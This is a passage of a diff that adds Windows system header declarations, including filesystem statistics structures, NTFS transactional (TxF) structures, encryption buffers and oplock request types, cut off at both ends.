UserFileWriteBytes; + ULONG UserDiskWrites; + + ULONG MetaDataReads; + ULONG MetaDataReadBytes; + ULONG MetaDataDiskReads; + ULONG MetaDataWrites; + ULONG MetaDataWriteBytes; + ULONG MetaDataDiskWrites; +} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; + +// values for FS_STATISTICS.FileSystemType + +#define FILESYSTEM_STATISTICS_TYPE_NTFS 1 +#define FILESYSTEM_STATISTICS_TYPE_FAT 2 +#define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 +typedef struct _FAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} FAT_STATISTICS, *PFAT_STATISTICS; + +typedef struct _EXFAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} EXFAT_STATISTICS, *PEXFAT_STATISTICS; + +typedef struct _NTFS_STATISTICS { + + ULONG LogFileFullExceptions; + ULONG OtherExceptions; + + ULONG MftReads; + ULONG MftReadBytes; + ULONG MftWrites; + ULONG MftWriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftWritesUserLevel; + + USHORT MftWritesFlushForLogFileFull; + USHORT MftWritesLazyWriter; + USHORT MftWritesUserRequest; + + ULONG Mft2Writes; + ULONG Mft2WriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } Mft2WritesUserLevel; + + USHORT Mft2WritesFlushForLogFileFull; + USHORT Mft2WritesLazyWriter; + USHORT Mft2WritesUserRequest; + + ULONG RootIndexReads; + ULONG RootIndexReadBytes; + ULONG RootIndexWrites; + ULONG RootIndexWriteBytes; + + ULONG BitmapReads; + ULONG BitmapReadBytes; + ULONG BitmapWrites; + ULONG BitmapWriteBytes; + + USHORT BitmapWritesFlushForLogFileFull; + USHORT BitmapWritesLazyWriter; + USHORT BitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + } BitmapWritesUserLevel; + + ULONG MftBitmapReads; + ULONG MftBitmapReadBytes; + ULONG MftBitmapWrites; + ULONG MftBitmapWriteBytes; + + USHORT MftBitmapWritesFlushForLogFileFull; + USHORT MftBitmapWritesLazyWriter; + USHORT MftBitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftBitmapWritesUserLevel; + + ULONG UserIndexReads; + ULONG UserIndexReadBytes; + ULONG UserIndexWrites; + ULONG UserIndexWriteBytes; + ULONG LogFileReads; + ULONG LogFileReadBytes; + ULONG LogFileWrites; + ULONG LogFileWriteBytes; + + struct { + ULONG Calls; // number of individual calls to allocate clusters + ULONG Clusters; // number of clusters allocated + ULONG Hints; // number of times a hint was specified + + ULONG RunsReturned; // number of runs used to satisify all the requests + + ULONG HintsHonored; // number of times the hint was useful + ULONG HintsClusters; // number of clusters allocated via the hint + ULONG Cache; // number of times the cache was useful other than the hint + ULONG CacheClusters; // number of clusters allocated via the cache other than the hint + ULONG CacheMiss; // number of times the cache wasn't useful + ULONG CacheMissClusters; // number of clusters allocated without the cache + } Allocate; + +} NTFS_STATISTICS, *PNTFS_STATISTICS; + +#if (_WIN32_WINNT >= 0x0500) + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _FILE_OBJECTID_BUFFER { + + UCHAR ObjectId[16]; + + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } DUMMYSTRUCTNAME; + UCHAR ExtendedInfo[48]; + } DUMMYUNIONNAME; + +} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_SET_SPARSE_BUFFER { + BOOLEAN SetSparse; +} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; + + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ZERO_DATA_INFORMATION { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER BeyondFinalZero; + +} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ALLOCATED_RANGE_BUFFER { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER Length; + +} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _ENCRYPTION_BUFFER { + + ULONG EncryptionOperation; + UCHAR Private[1]; + +} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; + +#define FILE_SET_ENCRYPTION 0x00000001 +#define FILE_CLEAR_ENCRYPTION 0x00000002 +#define STREAM_SET_ENCRYPTION 0x00000003 +#define STREAM_CLEAR_ENCRYPTION 0x00000004 + +#define MAXIMUM_ENCRYPTION_VALUE 0x00000004 + +typedef struct _DECRYPTION_STATUS_BUFFER { + + BOOLEAN NoEncryptedStreams; + +} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; + +#define ENCRYPTION_FORMAT_DEFAULT (0x01) + +#define COMPRESSION_FORMAT_SPARSE (0x4000) + +typedef struct _REQUEST_RAW_ENCRYPTED_DATA { + + LONGLONG FileOffset; + ULONG Length; + +} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; + +typedef struct _ENCRYPTED_DATA_INFO { + + ULONGLONG StartingFileOffset; + + ULONG OutputBufferOffset; + + ULONG BytesWithinFileSize; + + ULONG BytesWithinValidDataLength; + + USHORT CompressionFormat; + + UCHAR DataUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + + UCHAR EncryptionFormat; + + USHORT NumberOfDataBlocks; + + ULONG DataBlockSize[ANYSIZE_ARRAY]; + +} ENCRYPTED_DATA_INFO; +typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _PLEX_READ_DATA_REQUEST { + + LARGE_INTEGER ByteOffset; + ULONG ByteLength; + ULONG PlexNumber; + +} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _SI_COPYFILE { + ULONG SourceFileNameLength; + ULONG DestinationFileNameLength; + ULONG Flags; + WCHAR FileNameBuffer[1]; +} SI_COPYFILE, *PSI_COPYFILE; + +#define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS +#define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. +#define COPYFILE_SIS_FLAGS 0x0003 +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { + BOOLEAN CloseDisc; +} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; + + +typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { + BOOLEAN Disable; +} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; + + +typedef struct _FILE_QUERY_SPARING_BUFFER { + ULONG SparingUnitBytes; + BOOLEAN SoftwareSparing; + ULONG TotalSpareBlocks; + ULONG FreeSpareBlocks; +} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; + + +typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { + LARGE_INTEGER DirectoryCount; // -1 = unknown + LARGE_INTEGER FileCount; // -1 = unknown + USHORT FsFormatMajVersion; // -1 = unknown or n/a + USHORT FsFormatMinVersion; // -1 = unknown or n/a + WCHAR FsFormatName[ 12]; + LARGE_INTEGER FormatTime; + LARGE_INTEGER LastUpdateTime; + WCHAR CopyrightInfo[ 34]; + WCHAR AbstractInfo[ 34]; + WCHAR FormattingImplementationInfo[ 34]; + WCHAR LastModifyingImplementationInfo[ 34]; +} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; + + +#define SET_REPAIR_ENABLED (0x00000001) +#define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) +#define SET_REPAIR_DELETE_CROSSLINK (0x00000004) +#define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) +#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) +#define SET_REPAIR_VALID_MASK (0x0000001F) + +typedef enum _SHRINK_VOLUME_REQUEST_TYPES +{ + ShrinkPrepare = 1, + ShrinkCommit, + ShrinkAbort + +} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; + +typedef struct _SHRINK_VOLUME_INFORMATION +{ + SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; + ULONGLONG Flags; + LONGLONG NewNumberOfSectors; + +} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; + +#define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 +#define TXFS_RM_FLAG_RENAME_RM 0x00000002 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 +#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 +#define TXFS_RM_FLAG_GROW_LOG 0x00000400 +#define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 +#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 +#define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 +#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 +#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 +#define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 +#define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 + +#define TXFS_LOGGING_MODE_SIMPLE (0x0001) +#define TXFS_LOGGING_MODE_FULL (0x0002) + +#define TXFS_TRANSACTION_STATE_NONE 0x00 +#define TXFS_TRANSACTION_STATE_ACTIVE 0x01 +#define TXFS_TRANSACTION_STATE_PREPARED 0x02 +#define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 + +#define TXFS_MODIFY_RM_VALID_FLAGS \ + (TXFS_RM_FLAG_LOGGING_MODE | \ + TXFS_RM_FLAG_RENAME_RM | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_SHRINK_LOG | \ + TXFS_RM_FLAG_GROW_LOG | \ + TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ + TXFS_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_MODIFY_RM { + + // + // TXFS_RM_FLAG_* flags + // + + ULONG Flags; + + // + // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. + // + + ULONG LogContainerCountMax; + + // + // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. + // + + ULONG LogContainerCountMin; + + // + // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. + // + + ULONG LogContainerCount; + + // + // When the log is full, increase its size by this much. Indicated as either a percent of + // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* + // flags is set. + // + + ULONG LogGrowthIncrement; + + // + // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink + // makes the log shrink so that no more than this percentage of the log is free at any time. + // + + ULONG LogAutoShrinkPercentage; + + // + // Reserved. + // + + ULONGLONG Reserved; + + // + // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE + // or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + +} TXFS_MODIFY_RM, + *PTXFS_MODIFY_RM; + +#define TXFS_RM_STATE_NOT_STARTED 0 +#define TXFS_RM_STATE_STARTING 1 +#define TXFS_RM_STATE_ACTIVE 2 +#define TXFS_RM_STATE_SHUTTING_DOWN 3 + +#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ + (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_QUERY_RM_INFORMATION { + + ULONG BytesRequired; + + ULONGLONG TailLsn; + ULONGLONG CurrentLsn; + ULONGLONG ArchiveTailLsn; + ULONGLONG LogContainerSize; + LARGE_INTEGER HighestVirtualClock; + ULONG LogContainerCount; + ULONG LogContainerCountMax; + ULONG LogContainerCountMin; + ULONG LogGrowthIncrement; + ULONG LogAutoShrinkPercentage; + ULONG Flags; + + // + // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + + // + // Reserved. + // + + USHORT Reserved; + + // + // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. + // + + ULONG RmState; + + // + // Total capacity of the log in bytes. + // + + ULONGLONG LogCapacity; + + // + // Amount of free space in the log in bytes. + // + + ULONGLONG LogFree; + + // + // Size of $Tops in bytes. + // + + ULONGLONG TopsSize; + + // + // Amount of space in $Tops in use. + // + + ULONGLONG TopsUsed; + + // + // Number of transactions active in the RM at the time of the call. + // + + ULONGLONG TransactionCount; + + // + // Total number of single-phase commits that have happened the RM. + // + + ULONGLONG OnePCCount; + + // + // Total number of two-phase commits that have happened the RM. + // + + ULONGLONG TwoPCCount; + + // + // Number of times the log has filled up. + // + + ULONGLONG NumberLogFileFull; + + // + // Age of oldest active transaction in the RM, in milliseconds. + // + + ULONGLONG OldestTransactionAge; + + GUID RMName; + + ULONG TmLogPathOffset; + +} TXFS_QUERY_RM_INFORMATION, + *PTXFS_QUERY_RM_INFORMATION; + +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 +#define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 + +#define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ + (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ + TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) + +typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { + LARGE_INTEGER LastVirtualClock; + ULONGLONG LastRedoLsn; + ULONGLONG HighestRecoveryLsn; + ULONG Flags; +} TXFS_ROLLFORWARD_REDO_INFORMATION, + *PTXFS_ROLLFORWARD_REDO_INFORMATION; + +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 +#define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 +#define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 +#define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 +#define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 + +#define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 +#define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 +#define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 + +#define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 +#define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 + +#define TXFS_START_RM_VALID_FLAGS \ + (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ + TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_START_RM_FLAG_LOGGING_MODE | \ + TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_START_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_START_RM_INFORMATION { + + // + // TXFS_START_RM_FLAG_* flags. + // + + ULONG Flags; + + // + // RM log container size, in bytes. This parameter is optional. + // + + ULONGLONG LogContainerSize; + + // + // RM minimum log container count. This parameter is optional. + // + + ULONG LogContainerCountMin; + + // + // RM maximum log container count. This parameter is optional. + // + + ULONG LogContainerCountMax; + + // + // RM log growth increment in number of containers or percent, as indicated + // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is + // optional. + // + + ULONG LogGrowthIncrement; + + // + // RM log auto shrink percentage. This parameter is optional. + // + + ULONG LogAutoShrinkPercentage; + + // + // Offset from the beginning of this structure to the log path for the KTM + // instance to be used by this RM. This must be a two-byte (WCHAR) aligned + // value. This parameter is required. + // + + ULONG TmLogPathOffset; + + // + // Length in bytes of log path for the KTM instance to be used by this RM. + // This parameter is required. + // + + USHORT TmLogPathLength; + + // + // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or + // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, + // and will default to TXFS_LOGGING_MODE_SIMPLE. + // + + USHORT LoggingMode; + + // + // Length in bytes of the path to the log to be used by the RM. This parameter + // is required. + // + + USHORT LogPathLength; + + // + // Reserved. + // + + USHORT Reserved; + + // + // The path to the log (in Unicode characters) to be used by the RM goes here. + // This parameter is required. + // + + WCHAR LogPath[1]; + +} TXFS_START_RM_INFORMATION, + *PTXFS_START_RM_INFORMATION; + +// +// Structures for FSCTL_TXFS_GET_METADATA_INFO +// + +typedef struct _TXFS_GET_METADATA_INFO_OUT { + + // + // Returns the TxfId of the file referenced by the handle used to call this routine. + // + + struct { + LONGLONG LowPart; + LONGLONG HighPart; + } TxfFileId; + + // + // The GUID of the transaction that has the file locked, if applicable. + // + + GUID LockingTransaction; + + // + // Returns the LSN for the most recent log record we've written for the file. + // + + ULONGLONG LastLsn; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + +} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; + +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { + + // + // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES + // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; + + // + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the + // current name was deleted or created in the transaction. + // + + ULONG NameFlags; + + // + // NTFS File ID of the file. + // + + LONGLONG FileId; + + // + // Reserved. + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; + + // + // NULL-terminated Unicode path to this file, relative to RM root. + // + + WCHAR FileName[1]; +} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; + + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { + + // + // GUID name of the KTM transaction that files should be enumerated from. + // + + GUID KtmTransaction; + + // + // On output, the number of files involved in the transaction on this RM. + // + + ULONGLONG NumberOfFiles; + + // + // The length of the buffer required to obtain the complete list of files. + // This value may change from call to call as the transaction locks more files. + // + + ULONGLONG BufferSizeRequired; + + // + // Offset in bytes from the beginning of this structure to the first + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; +} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; + +// +// Structures for FSCTL_TXFS_LIST_TRANSACTIONS +// + +typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { + + // + // Transaction GUID. + // + + GUID TransactionId; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + + // + // Reserved fields + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; +} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; + +typedef struct _TXFS_LIST_TRANSACTIONS { + + // + // On output, the number of transactions involved in this RM. + // + + ULONGLONG NumberOfTransactions; + + // + // The length of the buffer required to obtain the complete list of + // transactions. Note that this value may change from call to call + // as transactions enter and exit the system. + // + + ULONGLONG BufferSizeRequired; +} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { + union { + + // + // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW + // + + ULONG BufferLength; + + // + // On success the data is copied here. + // + + UCHAR Buffer[1]; + } DUMMYUNIONNAME; +} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) +#endif + +typedef struct _TXFS_WRITE_BACKUP_INFORMATION { + UCHAR Buffer[1]; +} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; + +#define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE +#define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF + +typedef struct _TXFS_GET_TRANSACTED_VERSION { + + // + // The version that this handle is opened to. This will be + // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and + // transactional writer handles. + // + + ULONG ThisBaseVersion; + + // + // The most recent committed version available. + // + + ULONG LatestVersion; + + // + // If this is a handle to a miniversion, the ID of the miniversion. + // If it is not a handle to a minivers, this field will be 0. + // + + USHORT ThisMiniVersion; + + // + // The first available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT FirstMiniVersion; + + // + // The latest available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT LatestMiniVersion; + +} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; + + +#define TXFS_SAVEPOINT_SET 0x00000001 + +// +// Roll back to a specified savepoint. +// + +#define TXFS_SAVEPOINT_ROLLBACK 0x00000002 + +// +// Clear (make unavailable for rollback) the most recently set savepoint +// that has not yet been cleared. +// + +#define TXFS_SAVEPOINT_CLEAR 0x00000004 + +// +// Clear all savepoints from the transaction. +// + +#define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 + +typedef struct _TXFS_SAVEPOINT_INFORMATION { + HANDLE KtmTransaction; + ULONG ActionCode; + ULONG SavepointId; +} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; + + +typedef struct _TXFS_CREATE_MINIVERSION_INFO { + + USHORT StructureVersion; + USHORT StructureLength; + ULONG BaseVersion; + USHORT MiniVersion; +} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; + + +typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { + BOOLEAN TransactionsActiveAtSnapshot; + +} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; + +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) + +typedef struct _BOOT_AREA_INFO { + + ULONG BootSectorCount; // the count of boot sectors present on the file system + struct { + LARGE_INTEGER Offset; + } BootSectors[2]; // variable number of boot sectors. + +} BOOT_AREA_INFO, *PBOOT_AREA_INFO; + +typedef struct _RETRIEVAL_POINTER_BASE { + + LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem +} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; + +typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { + + ULONG VolumeFlags; + ULONG FlagMask; + ULONG Version; + ULONG Reserved; + +} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; + +typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { + + CHAR FileSystem[9]; + +} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; + +#define OPLOCK_LEVEL_CACHE_READ (0x00000001) +#define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) +#define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) + +#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) +#define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) +#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) + +#define REQUEST_OPLOCK_CURRENT_VERSION 1 + +typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { + + // + // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. + // + + USHORT StructureVersion; + + USHORT StructureLength; + + // + // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. + // + + ULONG RequestedOplockLevel; + + // + // REQUEST_OPLOCK_INPUT_FLAG_* flags. + // + + ULONG Flags; + +} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; + +#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) +#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) + +typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { + + USHORT StructureVersion; + + USHORT StructureLength; + + ULONG OriginalOplockLevel; + + ULONG NewOplockLevel; + + ULONG Flags; + + ACCESS_MASK AccessMode; + + USHORT ShareMode; + +} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; + + +#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 + +typedef struct _SD_CHANGE_MACHINE_SID_INPUT { + + USHORT CurrentMachineSIDOffset; + USHORT CurrentMachineSIDLength; + + USHORT NewMachineSIDOffset; + USHORT NewMachineSIDLength; + +} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; + +typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { + + // + // How many entries were successfully changed in the $Secure stream + // + + ULONGLONG NumSDChangedSuccess; + + // + // How many entires failed the update in the 